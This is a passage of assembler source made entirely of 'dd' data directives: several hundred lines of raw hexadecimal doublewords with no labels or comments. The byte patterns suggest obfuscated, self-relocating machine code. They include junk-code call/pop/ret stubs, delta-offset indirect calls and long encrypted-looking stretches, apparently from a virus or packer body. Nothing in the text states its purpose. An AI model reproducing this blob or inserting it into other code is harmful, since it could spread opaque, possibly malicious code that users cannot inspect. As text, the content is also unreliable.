dd 840F53FBh, 6, 69BD8Bh, 835F0612h, 121419BDh, 840F0006h
dd 6Ch, 1DD19D33h, 0B80612h, 6A000000h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0BF01C352h
dd 0BB66A423h, 8D8DCC3Ch, 6124E4Bh, 2C659D8Bh, 0E1FF0612h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 49C35141h
dd 963092F6h, 0EEFFAEE0h, 6870Fh, 0B5290000h, 61227BDh
dd 11BD83h, 0F000612h, 47484h, 0BE900h, 9E970000h, 0A65595C2h
dd 0BA010015h, 105CBFF1h, 0BD834523h, 6120011h, 6D840F01h
dd 6A000004h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 15042444h, 42000000h, 0E10AC352h, 11BD83h, 0F030612h
dd 40D86h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1904h, 0C3564600h, 0A95A228Fh, 0B58914ADh, 61222FDh
dd 45C78166h, 860F60C0h, 0Ch, 68F0Fh, 8D890000h, 6122845h
dd 6AD98C66h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
dd 55D8C352h, 351CF66Bh, 0E9E8C4AAh, 5, 28EAF043h, 4E1805Dh
dd 2800Fh, 0D98B0000h, 840FC90Ah, 146h, 0E850006Ah, 3
dd 58C35820h, 4244489h, 4244481h, 14h, 98C35040h, 0CD858BF9h
dd 66061224h, 8533FB8Bh, 612248Dh, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Ah, 0F9C35747h, 5E5F9074h, 5190D263h
dd 3870Fh, 8B660000h, 8B505FDEh, 9D8B90F9h, 61208C9h, 0BB66006Ah
dd 0DE8A9FBh, 9E000000h, 0ADF3B73Dh, 9D5D6186h, 0F76359D9h
dd 5FF9BF0Fh, 4E8h, 1F03FF00h, 3BB6600h, 0BE850C9h, 71000000h
dd 0E9DCB85Bh, 0BD8393A0h, 0B060559Ch, 61F08BF6h, 24448B5Fh
dd 6E95104h, 0CF000000h, 135270BDh, 8B5BE7h, 4244489h
dd 13E9h, 33727700h, 77318233h, 0D9C197EFh, 5F8797B5h
dd 5B1FDBCFh, 57006A58h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1504h, 0C3574700h, 9589AB7Ch, 61215BDh, 303195FFh, 6A0612h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
dd 7105C7C3h, 19E7AED8h, 0D5C7E781h, 858914E1h, 615BD0Ch
dd 1BCE9h, 0F850F00h, 0E9000000h, 0Ah, 8B496705h, 8452F3A6h
dd 858B8DB9h, 615BD04h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 16h, 1CC35141h, 0C381F077h, 1BE5DE82h, 1800C7h
dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
dd 57470000h, 78D84BC3h, 2164DFD8h, 8B58BEAh, 0E90615BDh
dd 8, 1F3AB5CAh, 921951E0h, 2399858Bh, 6A0612h, 3E850h
dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
dd 0E933C6C3h, 14h, 21BBA5CBh, 70B35397h, 74B201C8h, 0AB09FE53h
dd 0A71414D3h, 6A0689h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 190424h, 52420000h, 9FC46FC3h, 898E8FDBh, 12292D9Dh
dd 0CD858B06h, 9061224h, 122415BDh, 4468906h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 69C35646h, 7E9F5E4h
dd 7C000000h, 205D420Ch, 605098B5h, 0C366B7B8h, 3489610Ch
dd 0BE924h, 4B850000h, 546A8DCAh, 87F8CB84h, 4B5FFD6h
dd 6A0615BDh, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 18042444h, 42000000h, 72CC352h, 893E922Ch, 12109DBDh
dd 0DB816606h, 6D686C3Dh, 8B7B4F7Ch, 243481FAh, 7B507F92h
dd 9A8CBCBFh, 0C858D08h, 0F0615BDh, 489h, 3EBF6600h, 0BEB75074h
dd 29240489h, 1210CD95h, 3195FF06h, 6A061230h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
dd 897EC350h, 122E118Dh, 0CF806106h, 1185C7FBh, 3061200h
dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 15042444h, 47000000h, 0E81CC357h, 13E9h, 802B600h, 0F8CDB179h
dd 0ECA413A9h, 7910C7D3h, 0E0D2A969h, 0BD0CBD83h, 0F000615h
dd 4D84h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1A04h, 0C3504000h, 63DE4155h, 538C5452h, 5E8h, 34632800h
dd 0EF80CE2Bh, 605F5BB0h, 2820Fh, 5A510000h, 855BD31h
dd 0E9610612h, 21h, 23BD9589h, 30500612h, 4400110Ch, 0E8C10111h
dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h
dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h
dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h
dd 11043001h, 7504E983h, 8B00EBE7h, 459589C0h, 0F061208h
dd 0BD83F9BFh, 6120011h, 2E850F03h, 6A000004h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
dd 3691C351h, 8B0703FCh, 120C619Dh, 7D9D8B06h, 83061216h
dd 15BD0CBDh, 840F0006h, 3F5h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Ch, 36C35343h, 1C17ABADh, 0C31FD384h
dd 0BD0CB5FFh, 6A0615h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1B0424h, 57470000h, 5E3F64C3h, 39C177C3h, 93C78177h
dd 0FF6D64EEh, 12202995h, 0B3BB6606h, 0B58BDBh, 6A0615BDh
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h
dd 46000000h, 0C12BC356h, 0BD8BE065h, 6121371h, 106C7h
dd 9D030001h, 6121DE1h, 0D88A96F8h, 0EE850h, 66C90000h
dd 1F500C4Ah, 0F162DFA6h, 14099169h, 5BE9BF66h, 6A965Bh
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
dd 0F96257C3h, 95845E4h, 122EF19Dh, 0CB5FF06h, 6A0615BDh
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h
dd 42000000h, 1431C352h, 0DC49AE02h, 9D894DC8h, 6121709h
dd 1AE195FFh, 0FA8B0612h, 850Fh, 0B58B0000h, 615BD00h
dd 858B5B57h, 6123039h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Bh, 0CAC35141h, 331836D5h, 0F5548A51h, 13E8h
dd 53C7DC00h, 0C87E0EA3h, 1BE959AFh, 8031B5ABh, 0A0D1275Ch
dd 2239B501h, 895F0612h, 0C486h, 0DD952900h, 8B06122Eh
dd 122DCD95h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1A04h, 0C3534300h, 6DB2103Ah, 83EC3516h, 0D88A04C2h
dd 0F205089h, 381h, 0DE8B6600h, 0D0EA858Dh, 6A0615h, 3E850h
dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
dd 78D56CC3h, 0BFC2182Fh, 9D23513Ah, 6122889h, 0B88689h
dd 850F0000h, 5, 2FCF8166h, 6A006A2Fh, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 896EC356h
dd 0BD0CB5FFh, 0F3810615h, 32C264E8h, 2CD595FFh, 0B70F0612h
dd 44B750FFh, 6A243489h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 19042444h, 40000000h, 69F8C350h, 440961FAh
dd 5BFE8B56h, 0BD0CB5FFh, 0BD030615h, 6121985h, 2E2995FFh
dd 6A0612h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
dd 55450000h, 840F48C3h, 3, 83DE8B66h, 121189BDh, 840F0006h
dd 43h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h
dd 36C35242h, 12136F6Ah, 9E9511Ch, 49000000h, 11C6054Ah
dd 0C730697Eh, 6CBF505Fh, 897026D6h, 0BF0F2434h, 83E381FAh
dd 0FF5722F5h, 15BD0CB5h, 0FFF98B06h, 122AA595h, 159D8B06h
dd 0FF061214h, 15BD0CB5h, 95FFFC06h, 6121BB1h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 9C35646h, 10E960BAh
dd 94000000h, 0E8E277CEh, 379CACFh, 0AC0A2EB2h, 13D8496h
dd 12117195h, 840F6106h, 3, 83D98B66h, 122A41BDh, 840F0206h
dd 71h, 8BD88B66h, 1218A985h, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 9D8B8E7Ah
dd 6120449h, 14E8h, 21243700h, 5BBB92Ah, 84DA462Dh, 72D06081h
dd 0E138F886h, 519D8B29h, 5F061207h, 6A0000C6h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
dd 0D84CC350h, 0ADE38056h, 185C75Fh, 61203h, 6A000000h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h
dd 43000000h, 9806C353h, 12880F15h, 60000000h, 1C0BB966h
dd 6E8h, 0BAF70F00h, 5FC8E297h, 0F351E961h, 0C18BFFFFh
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0B3C35646h
dd 0D8F65FF8h, 0E81F813Dh, 7, 0A6122D19h, 0F176B94h, 1684h
dd 11E900h, 68FD0000h, 0A21A5201h, 4E9BA886h, 7DE5E5DDh
dd 5F3F45E5h, 5A5CC781h, 9D8B0000h, 61203C5h, 165C68h
dd 9DB58900h, 5A061224h, 2121BD89h, 78B0612h, 8C0Fh, 0E8810000h
dd 75735E0Ah, 8194CF80h, 9A8DC0h, 0CE858h, 97C40000h, 1C41A37Ch
dd 3222778Eh, 810FE429h, 19h, 13E8h, 0DA8AB700h, 0C4B06E30h
dd 512B1DBEh, 0EF477632h, 0D9B34A27h, 0E8815E5Eh, 0D60EA2Ah
dd 6E8h, 5CD9A600h, 5221410Eh, 0D6B5B6BEh, 895B590Eh, 8148B707h
dd 0D2105AEFh, 0C781F551h, 51D21056h, 1EA81h, 850F0000h
dd 12h, 2D319D8Bh, 25E90612h, 0C4000000h, 66A965F0h, 8E957AAh
dd 2000000h, 6B523873h, 0E9F8F265h, 0FFFFFF5Eh, 2D1380CEh
dd 377FA474h, 0F77D1F4h, 0CE9h, 0F6FD6B00h, 2 dup(0)
dd 5EDE900h, 0E3AE0000h, 4646DF2Ch, 0A7E37CC9h, 0D821B68h
dd 711CB502h, 5461519Eh, 0CF1CF39Ah, 6DBA5536h, 653BCD4h
dd 0A1EE216Dh, 177078C7h, 644DF6A0h, 0D9B77087h, 7275A336h
dd 808FFD1Ch, 7617E015h, 0DBB34C99h, 5836FF34h, 0D3B982B7h
dd 5D71073Ch, 0EA256984h, 838C049Dh, 20283F36h, 47DF5F67h
dd 97CC434Bh, 8E212CC4h, 0C7FC137Dh, 18C8DFEh, 2FE0AD0Eh
dd 0FBE78FC4h, 7E869DE6h, 47DF6009h, 0FE33DCB1h, 0F588932Bh
dd 206DACE4h, 403784EFh, 5F662129h, 0E6EE47DFh, 47DF5FA1h
dd 343FD7E2h, 11FE90A1h, 5FCAC4DCh, 66D247DFh, 0FEBC147Bh
dd 646922BCh, 0BB000000h, 0BEF31C72h, 0DF5FE7A6h, 9C45B147h
dd 15A672F3h, 7F733550h, 6DA26D1Eh, 3A9A079Ah, 0EF22BCE7h
dd 1, 0F51A7241h, 7A95F7C0h, 0EB9CA4BBh, 9847DF5Fh, 4C15FA8Dh
dd 17707843h, 9B47DF60h, 0BC851DF2h, 9F2299D4h, 3FAA1543h
dd 8160740Ah, 9CE92666h, 18E8B03h, 9B06D90Eh, 0EF9E574Eh
dd 725F8D20h, 0B435F41Bh, 8E55F6A1h, 0AE9326E6h, 1C72A7E5h
dd 2CEBBEF3h, 0DFEC6324h, 0AA152047h, 0B75832EBh, 34535B82h
dd 4747DFEDh, 593ED13Ch, 0EBF67Ah, 0ACC3828Dh, 0DFECE3A4h
dd 5AB5D747h, 0B9BA5225h, 0A6CF3AD5h, 0EC676F8Fh, 3835C8CEh
dd 0EB20EF9Fh, 72A76822h, 741BC6E2h, 22BC896Ch, 79B9h
dd 1B720B00h, 94F6BFF4h, 9CB0467Bh, 6EE3AA45h, 1C9D0459h
dd 4B3C44AEh, 3847DFB3h, 0A57C22Dh, 8B305A13h, 0DFB40483h
dd 16C7747h, 0F598F9CCh, 1776871Ah, 859CC3F8h, 0DFB40A7Dh
dd 0D6E7947h, 86598E81h, 62ADE2F3h, 475E9D2Dh, 0DFB3483Fh
dd 9D303B47h, 0E9F99051h, 3E22BCA8h, 41h, 35A4CE4Fh, 0B02D0452h
dd 1B72EF1Dh, 9AF6BFF4h, 0FF434075h, 898607E2h, 1A72863Ch
dd 0D6B536F5h, 0F59F20B8h, 859D8215h, 47DFFC09h, 0D5BC2591h
dd 22BC62FDh, 838C04BDh, 0E6E87B4Eh, 1, 0F7187238h, 7A95F9C2h
dd 30B19D45h, 0ED3AD5B5h, 0BF503DF6h, 3A56B78Ah, 3ACDA0D5h
dd 0B6755C65h, 0F18350AEh, 17767749h, 18838C02h, 70A510E3h
dd 0DB28E7A7h, 0AF602BE4h, 314A77Ah, 5F28308Bh, 0F54DF18Ch
dd 0F18C9AEDh, 46DEE94Dh, 749BD03Bh, 0B40CFBBh, 4845A538h
dd 764DF18Dh, 0FDC6FB14h, 9F477C93h, 14A92EB3h, 0B8D611D0h
dd 1D710A57h, 1AB233F2h, 493E468Eh, 3A4DF193h, 7E83062Fh
dd 54BBD031h, 0D4B94C1Fh, 0F98E96ADh, 8A4DF184h, 0B3DBEC7Fh
dd 6707579Eh, 0E2B5EA25h, 62AB52B9h, 3CE3C2F7h, 0D1060983h
dd 0C21F6BFEh, 5BA86727h, 0AEAC6E66h, 0FA954E24h, 7A0DE015h
dd 1BF78h, 0A5AECA00h, 474801C0h, 0EC57B8D2h, 0E251E4B7h
dd 0F17748DAh, 38571049h, 3CCFA2D7h, 0FA8D95F4h, 894DF178h
dd 0E9E30DC0h, 4DB866FCh, 0CD86ADE2h, 521B50BFh, 0D467D23Dh
dd 0F744CBC3h, 0AADF305Eh, 2D62ADE1h, 0CC17CA4Eh, 0B004DC2h
dd 24AEF38Bh, 9B60h, 525A7100h, 4DF17935h, 7AA83B46h, 0C3C9A4AEh
dd 3E4E174Ch, 5EC99CD1h, 3B2C34F3h, 48C7DF5Fh, 0AE677E3Dh
dd 27FA2FE0h, 0DF5F1077h, 3F6873C7h, 0C3E40512h, 795EF13Bh
dd 1EF19952h, 415C2B8Bh, 3456C7DFh, 0B0DDA6DBh, 0C74B2A5Fh
dd 4EC1CF1Ah, 0FD286E3h, 40CFBD76h, 8DCED8ADh, 0DF420285h
dd 1A2281C7h, 0C7DF416Dh, 0D998030Eh, 0DF41B6D1h, 4FBAC5C7h
dd 41DF8890h, 0D1DC47DFh, 6E768D84h, 47DF7D19h, 0BDCC5F6Ah
dd 0E0h, 59622DE6h, 0DF7D3651h, 0CF3A4547h, 634C79Ah, 1C0A5AEh
dd 5FA5E2EAh, 0CBD647DFh, 8DC1C938h, 0F849F181h, 9FEFB8EDh
dd 732C2370h, 0EF98A01Bh, 8C4DF188h, 0EE11681h, 0EB246A7Bh
dd 0B6D68FB6h, 0BE512459h, 0F1882E5Eh, 0DD32584Dh, 63ACDFA8h
dd 479A862Eh, 7F96FD92h, 0F1891077h, 2AE5AA4Dh, 7F8A22F5h
dd 0A9D721Eh, 0C6C823BEh, 969FFC49h, 8934535Bh, 127E4DF1h
dd 0FE0665FDh, 4DF18889h, 1984EFFAh, 0BC2435Ah, 26C7EBFFh
dd 0D7897F7h, 6B3E1A7Ah, 96A15007h, 0A26D1ED7h, 22079A6Dh
dd 0A5DA3559h, 295EB1DCh, 0AADF3060h, 637869ADh, 7BAA3723h
dd 0D028D72h, 4BCCE3A2h, 0DDD51221h, 1676D71Ah, 5EF1C4F9h
dd 0FA5F5AFEh, 46444549h, 56C194C9h, 0F788097h, 6C4DF1E1h
dd 1BD1CE61h, 92F5FD14h, 0F147DF5Fh, 757E53E6h, 0A3BAD190h
dd 0DF5FEC9Bh, 0AC8FE47h, 0A1D4132Eh, 27D5FE09h, 7298CFD7h
dd 2F29891Ch, 9249F4B7h, 810FC887h, 0B855323Ah, 1B264DF6h
dd 15A87BB0h, 0E8276730h, 8D8C029Bh, 0A52654FDh, 0C331F1D0h
dd 7C93F758h, 0F6995211h, 7E11E419h, 0EBD18199h, 99F34F38h
dd 17784176h, 4AFEC3F8h, 144297h, 878806E1h, 22EDA13Ah
dd 0A46B24EDh, 6DBC76Fh, 0F5CB3DBh, 8EF90118h, 0ED48D5C2h
dd 0F60C0024h, 0F45F6C55h, 0D13E5061h, 14D59Ch, 143F0000h
dd 5F92F5FDh, 0E6F147DFh, 32AEC4BDh, 0C75AF45Ah, 1F727866h
dd 9CF2BBF0h, 1B753E73h, 95F6BFF4h, 117C457Ah, 8D00C9FEh
dd 0B844D82h, 8406CF04h, 0FF8D568Bh, 68D4DB10h, 27CAh
dd 50241489h, 405E089h, 2D000000h, 4, 5C240487h, 68243C89h
dd 6DCAh, 56241C89h, 9447AFBEh, 0B9514E0Ah, 3DA859ADh
dd 8159CE31h, 2B5EC7F6h, 5EF78931h, 241C8B54h, 5004C483h
dd 8B8h, 57D80100h, 8B58008Fh, 8953241Ch, 4C381E3h, 83000000h
dd 1C8704C3h, 3C8B5C24h, 0E1895124h, 4C181h, 0C1830000h
dd 240C8704h, 3A53E95Ch, 48ACFFFBh, 0B82D50EAh, 6174631h
dd 0E0FFC503h, 64EC6EB7h, 29B4C23Ch, 2A7D95F8h, 2812BF9Eh
dd 7D66E3Dh, 1DB167B7h, 37BF0DF3h, 478F8D8Dh, 6A0617h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
dd 0CBAEF4C3h, 2DCD8D89h, 0D3810612h, 5076C67Dh, 31BD85C7h
dd 5DC40612h, 0B58B0000h, 6122919h, 1185C7h, 612h, 9D8B0000h
dd 6120885h, 835B5FFh, 6A0612h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 160424h, 57470000h, 7CEA7CC3h, 278195FFh
dd 6A0612h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
dd 57470000h, 0ABB93AC3h, 67D87023h, 560B38E2h, 0CE9h
dd 0CFA2AD00h, 5026E484h, 7440AA29h, 6A5E29h, 29D195FFh
dd 0C08B0612h, 0A8654DEBh, 3C4B1770h, 3F954C8Ch, 96DDD959h
dd 0F41E8FEBh, 62B2C6Eh, 254E891h, 633D326Eh, 0F97FC63Bh
dd 0E0A6E69Fh, 5277BE5Eh, 75664AE0h, 0E36325A5h, 0B3D3F837h
dd 0A552FAF0h, 0C1A5Ch, 74CD759Eh, 6E5C3904h, 90BBAE24h
dd 0E9DA72BCh, 19h, 0B49C23Bh, 5 dup(0)
dd 4EAE900h, 236E0000h, 86069FECh, 0E7A33C89h, 4D42DB28h
dd 0B1DC75C2h, 9421115Eh, 8FDC335Ah, 2D7A95F6h, 0C613FC94h
dd 61AE612Dh, 57303887h, 244DF6A7h, 1C727147h, 98F5BEF3h
dd 1C332A77h, 0DF5F7314h, 72051047h, 0A3EC2D61h, 3CC016Ch
dd 864F848Bh, 3ED40906h, 622CB72Ah, 0C9C760ADh, 3060F946h
dd 0AAE1AADFh, 9C883065h, 29E6AA45h, 3ADFB16Ah, 194EB956h
dd 0BFB6B346h, 629E943Eh, 0FF92ED22h, 3A6FA0EEh, 0DFF26C22h
dd 0D7385247h, 58B7D9A2h, 93F4FC23h, 0F047DFF2h, 0D50C50E5h
dd 0C0218D10h, 7D3F46C7h, 0C5E3EFB7h, 74CDC532h, 531A22BCh
dd 6C000000h, 0B0351C72h, 6C94629h, 40C180EBh, 0B45D6699h
dd 886D0076h, 0DF7D1D70h, 0CE137F47h, 80A334B5h, 56705E53h
dd 0E97E56C3h, 1AB22BCh, 0FD000000h, 0C0F51A72h, 457A95F7h
dd 0C7FC137Ch, 0DBE3FA31h, 47DF5FACh, 0E531C4CFh, 749BF1FCh
dd 0F008E27h, 1B720CC2h, 96F6BFF4h, 8F01BA79h, 0E5784B80h
dd 0B9563700h, 3DD2BB84h, 1AC70B08h, 17CA4EC5h, 384F576Eh
dd 2447DF60h, 0DF5F6B1Ch, 750D1847h, 0C7C6D76Ah, 6CD73852h
dd 708861Fh, 3A8109D2h, 0DF5F5532h, 0BA1B2647h, 32053AD5h
dd 0C30292C7h, 43CF242h, 497181Dh, 126229B8h, 0A722BC42h
dd 70h, 0F41B72F9h, 241798BFh, 53343C50h, 3047E055h, 5C9DFC25h
dd 17738417h, 192DC3F8h, 9F701DC8h, 3BD4B952h, 0BD523D06h
dd 5DCF888h, 1A6D758Ch, 6947DF63h, 165ECB5Eh, 0A322BCFFh
dd 5Bh, 0F41B72F5h, 7F9AF6BFh, 0E4A3AB10h, 9747DF5Fh, 0F7B6218Ch
dd 5FAFD8E0h, 3CC47DFh, 7B24DDD2h, 6DCE393Bh, 785DF01Fh
dd 3FAA377Bh, 0BE74C14Eh, 0DD325B14h, 0BC53394Ah, 601F6F87h
dd 0F39D47DFh, 701EE71Ch, 0BE513E9Fh, 2DFF389h, 0F3EE5ADDh
dd 0BCFE249Ch, 1F122h, 14430000h, 0C84744FDh, 0DF5F6F18h
dd 0D8010C47h, 0DC7C537Ah, 3445D85Dh, 0BB84B956h, 0A7E0E8D3h
dd 0D447DF63h, 81295EC9h, 0E9A14C95h, 63BDCAD2h, 0B3BE47DFh
dd 959EFB48h, 380CBEF2h, 5ABB5DF9h, 0B170DB34h, 0F18755A9h
dd 30657049h, 3BB18809h, 291CCD45h, 8FEA010Ch, 59BA25C1h
dd 3748DB34h, 0D26BB857h, 4946FFBCh, 0EBE91C6h, 4DF1C779h
dd 0D594FF0Ah, 0A9D721Ch, 0C7800D25h, 0C60A4DF1h, 51BED01Bh
dd 0EC236B04h, 0B5D790B7h, 7EE92664h, 5BB4DAEBh, 89A04726h
dd 0F1C80681h, 0D76A754Dh, 38B568Bh, 0C7D7B0B8h, 99A44DF1h
dd 0D4B66F2Eh, 5DC84745h, 0C5C25528h, 0AE96F0D0h, 1352524h
dd 14770000h, 1446E293h, 0A0ECDCD2h, 0FC673A6Fh, 0A68B9469h
dd 39D766E7h, 356AA5E7h, 0DB923962h, 18208F22h, 49F1F90Ah
dd 0ECB5EAF5h, 87206DA2h, 0AD30807h, 77568B84h, 9BF3EEF3h
dd 52322774h, 8724AE65h, 3Dh, 5EB1DF98h, 0ED808FFDh, 0BFA4AEBFh
dd 5F6FF800h, 0C38CC7DFh, 58380DBEh, 0BCF15C17h, 0DF1DE3A4h
dd 0BA27DBC7h, 0B574616Bh, 497E91FCh, 6C74E376h, 47DF1DFBh
dd 19B0FD08h, 0B3h, 0C0A5AE83h, 8155F901h, 0A5B049F1h
dd 0C0C7CFE6h, 0C34DF188h, 774025B8h, 87880217h, 5836CF1Ch
dd 226A82B7h, 184DF188h, 0ACE20DD4h, 858DA463h, 4DF18902h
dd 75157681h, 0AD0A079Ah, 0AFF7FFA4h, 535361FFh, 0FB1229E8h
dd 0F25994F3h, 0D81EE74Dh, 5B071ECCh, 201942ADh, 0CEF4D6CBh
dd 9CCD2DC0h, 0AB50071Ch, 0ECA26BA0h, 0E0AB6423h, 0C627FA2Fh
dd 411449C6h, 8D00C9AEh, 0B844D82h, 560ACF04h, 716568Bh
dd 9DD23D4Eh, 0F6EB37CAh, 78371E27h, 0F9D9F970h, 0C0C8DF49h
dd 4DF1D4C7h, 0CE16A9B4h, 0D520676Fh, 58634DF1h, 0D4F69199h
dd 7A854DF1h, 0AE0CC20Fh, 0F901C0A5h, 49F4A770h, 0F008E8Fh
dd 679C07DAh, 0D21FF09Eh, 85BA5539h, 0D534166Dh, 2EB3C738h
dd 0E734DBB3h, 737B404Eh, 53292814h, 0BCF15C67h, 3E739CF3h
dd 8D001975h, 19E21782h, 29E6A475h, 81B621F4h, 0EFF4EDD9h
dd 0C31EC3AFh, 9FE8F0CBh, 0DC532927h, 801966D1h, 0A5CC010Eh
dd 0DC6FA0ECh, 3CDh, 34223700h, 0BBF01F72h, 3E739CF2h
dd 0BFF41B75h, 457A95F6h, 0C9FE117Ch, 4D828D00h, 0CF040B84h
dd 568B8406h, 0DB10FF8Dh, 4EC83D4h, 57240C89h, 0C781E789h
dd 4, 4EF81h, 3C870000h, 14895C24h, 4EC8124h, 89000000h
dd 0BB53240Ch, 6174804h, 89DD8955h, 545B5DEAh, 81240C8Bh
dd 4C4h, 81525500h, 5E54242Ch, 815D02AFh, 0AF5E54C5h, 8698902h
dd 2434FF5Dh, 4C48359h, 5A2434FFh, 0E904C483h, 0FFFB3415h
dd 0C5CA93B9h, 174C87B8h, 0FFC50306h, 7E7BFAE0h, 0C4DAA2Ch
dd 0E804F31Ch, 2E241653h, 0DAD8632Bh, 22088A40h, 7F891E42h
dd 4D5A8916h, 75F1C53Ah, 0A4B5DD6Ch, 9DA6A64h, 57F3C461h
dd 0E12D285Fh, 0C6D66778h, 0E27C726Fh, 0DF8D8D49h, 6A06174Dh
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h
dd 46000000h, 1ABEC356h, 266DB523h, 8D310612h, 6121CF1h
dd 2DCD8D89h, 14E80612h, 47000000h, 5409D14Eh, 77FDA53Dh
dd 4E005C4Bh, 2F018F74h, 668889ABh, 3311CE81h, 0BD85C75Ah
dd 0E8061231h, 8B000069h, 1185C7D0h, 61200h, 0BE000000h
dd 2A107E09h, 29B1B5FFh, 0DF8B0612h, 278195FFh, 7E80612h
dd 0CD000000h, 0C4A1D45Bh, 8589A059h, 6122DE5h, 10E95Ah
dd 23D0000h, 69BD7EFDh, 605027B5h, 27E5A789h, 6A9DC0h
dd 29D195FFh, 0C08B0612h, 0D8AB4AEBh, 3E7E0C58h, 0ACCBB840h
dd 48F295E1h, 0E8F01160h, 855EA9CDh, 0A877E4C3h, 0D1B34292h
dd 2F2E9134h, 0EDEFCDFEh, 0DD0EC022h, 0B94FAB25h, 40C05436h
dd 8923D22Ah, 0B0236B10h, 0AC643C63h, 7A57F1A8h, 27E02590h
dd 38E79715h, 7E8h, 0BB2B6F00h, 2194847Fh, 5E9h, 727A2900h
dd 815E9278h, 6543C6h, 51B58900h, 0BB061214h, 1924h, 3E8BC18Bh
dd 0AE1EF781h, 0BF0F315Bh, 7AEF81C6h, 604EB5A9h, 7E9h
dd 0C5BB7900h, 0B46C8967h, 8E9h, 6A789A00h, 0B2F5DA11h
dd 0F7816140h, 583FE681h, 0AE9h, 0B3F6B800h, 8E6F2FC5h
dd 571BD380h, 1A840Fh, 11E80000h, 0C9000000h, 0BA73C413h
dd 73B021Bh, 3F83F5B5h, 125BE367h, 58D7C180h, 81F9068Fh
dd 0AEB122EEh, 0F5952319h, 81061207h, 0AEB11EC6h, 38B0F19h
dd 80000000h, 0EB81BFF5h, 1, 0FF74850Fh, 0B589FFFFh, 612283Dh
dd 0FCB8996Ch, 0E823001Fh, 125120Ah, 39CC367Eh, 0B3C5F838h
dd 0D9A9747Dh, 0E973125Ah, 125121Bh, 5FE64C2Ch, 501668Fh
dd 5015682h, 1251295h, 0D1E64486h, 3208A7EBh, 872A1422h
dd 1251218h, 852A16A4h, 12510AAh, 9288F8Ah, 0BCA61493h
dd 73733A5h, 6CA11D60h, 6B251230h, 2CD4118h, 2125120Ch
dd 887ED15Dh, 8021365Fh, 1B2136C5h, 422512C0h, 0B33ED133h
dd 3A8487C6h, 0ACD72A4h, 0A725120Ch, 0BAFEE986h, 7D865B4Ch
dd 8CACFA8Eh, 7373359h, 3A11D3Fh, 52251230h, 50CC7342h
dd 6B25120Eh, 2CD4706h, 21251203h, 8878D1DCh, 802136ACh
dd 15213624h, 44251230h, 0FDA6D14Dh, 3093E58Dh, 6C971806h
dd 0E774293h, 517D48B0h, 1251E29h, 25656860h, 0B7E478B8h
dd 62ECBE6Bh, 14F826Bh, 126FA53h, 5C051203h, 6DAC4F42h
dd 45A416E4h, 1321644h, 54601230h, 0A23A61DBh, 0ECD44F6h
dd 93251206h, 0A21DD88Fh, 7F95FA5Ch, 1A9C23Ah
dd 8CDB57Eh, 23251230h, 32D55009h, 86966AC5h, 8A7B4C58h
dd 13156B9Eh, 4D241D87h, 8043ECE4h, 59057597h, 123993Fh
dd 0E2A41218h, 2E9753D8h, 6B09D285h, 2CD4103h, 21251281h
dd 887ED19Bh, 8021363Ch, 1C213674h, 42251218h, 0B3C9D15Fh
dd 0D92362B7h, 1B39DFAEh, 1251C68h, 75B8D4C0h, 751F9AB4h
dd 92FA4F6Bh, 8AB15DC8h, 1E0AAD04h, 8A431B91h, 9CAEEE4Bh
dd 73711D0h, 371C93A6h, 0F3A11D9Fh, 82251230h, 6CD1BD9h
dd 0A125120Ch, 1F9ECE64h, 0BC0C2E4Bh, 7373FECh, 0E81C929Fh
dd 1F976Fh, 14F1230h, 126FA4Dh, 5C05120Ch, 6DAC4FC5h, 45A41627h
dd 13D16A5h, 546012C0h, 0B3773BA3h, 0DAA49697h, 0D52134Eh
dd 6B245387h, 2CD4506h, 21251203h, 887AD1DEh, 802136BCh
dd 1C213624h, 46251230h, 0BB2CD14Fh, 958A5FA5h, 2CD045E4h
